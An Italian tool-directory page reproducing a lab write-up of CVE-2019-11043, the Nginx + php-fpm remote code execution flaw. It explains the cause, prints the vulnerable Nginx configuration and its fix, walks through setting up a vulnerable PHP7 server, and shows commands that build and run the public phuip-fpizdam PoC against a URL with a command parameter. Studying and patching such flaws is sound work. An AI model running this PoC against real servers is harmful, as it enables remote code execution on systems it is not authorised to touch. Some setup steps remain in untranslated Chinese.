Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-11043 — CVE-2019-11043 Esecuzione remota di codice PHP | Kitploit
Strumenti/GitHubGitHub/shadow-horse/cve-2019-11043
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 Esecuzione remota di codice PHP

Vedi Repository
116 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità di esecuzione remota di codice in PHP (CVE-2019-11043)

1. Contesto

Il 26 settembre, PHP ha pubblicato un avviso ufficiale di vulnerabilità, indicando che i server che utilizzano Nginx + php-fpm, in determinate configurazioni, presentano una vulnerabilità di esecuzione remota di codice. Questa configurazione è ampiamente utilizzata e quindi il rischio è elevato.

Il PoC della vulnerabilità è stato reso pubblico il 22 ottobre e i media di sicurezza nazionali hanno prontamente diffuso un avviso.

2. Descrizione della vulnerabilità

In Nginx, quando fastcgi_split_path_info elabora richieste contenenti %0a, a causa del carattere di nuova riga \n, PATH_INFO diventa vuoto. php-fpm, quando gestisce un PATH_INFO vuoto, presenta un difetto logico. Un attaccante può sfruttare questa condizione con un'attenta costruzione della richiesta per ottenere l'esecuzione remota di codice.

I server Nginx + php-fpm che utilizzano la seguente configurazione possono essere vulnerabili all'esecuzione remota di codice.

root@kitploit:~
 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. Soluzione

Se non incide sul normale funzionamento del servizio, rimuovere la seguente configurazione dal file di configurazione di Nginx:

root@kitploit:~
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. PoC pubblicato su GitHub

github: https://github.com/neex/phuip-fpizdam

Questo PoC sfrutta un'ottimizzazione nella variabile FastCGI _fcgi_data_seg, presente solo in PHP7, quindi l'exploit pubblico funziona solo su PHP7; in ambiente PHP5 è necessario un exploit diverso.

5. Riproduzione della vulnerabilità

1. Configurazione di NGINX + PHP-FPM (PHP7)

Configurare l'ambiente, installare nginx + php-fpm e verificare che funzioni correttamente.

  1. Scaricare PHP7 ed estrarlo nella directory

    root@kitploit:~
     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. Installare i pacchetti di dipendenze relativi a compressione, SSL, ecc.

    root@kitploit:~
     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. Eseguire il configure e compilare il codice sorgente

    root@kitploit:~
     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. Configurare php-fpm; se si configurano più versioni di PHP, si può modificare la porta da 9000 a 9001

    root@kitploit:~
     修改php-fpm配置文件:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     去掉 pid = run/php-fpm.pid 前面的分号
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (修改端口)
     $ vi www.conf
     修改user和group的用户为非root用户
    
  5. ./php-fpm

2. Configurazione del parser PHP vulnerabile

Aggiungere la seguente configurazione a nginx.cof:

root@kitploit:~
location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

Riavviare nginx.

  1. Installare Go e compilare il codice del PoC

    root@kitploit:~
     go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
    
     go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
    
  2. Eseguire il PoC

    root@kitploit:~
     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
     
    

[Purtroppo, per un problema sconosciuto nell'ambiente di configurazione, la verifica non è riuscita]

root@kitploit:~
	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. Ambiente di verifica integrato con Docker

Link originale: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. Scaricare i file del progetto Docker

  2. Eseguire docker-compose up -d per avviare il container Docker

  3. Eseguire il programma; la visualizzazione indica l'esecuzione riuscita. Sfruttando la vulnerabilità viene restituito l'output del comando "id"

  4. Arrestare il servizio Docker docker ps
    docker stop id

Scarica lo strumento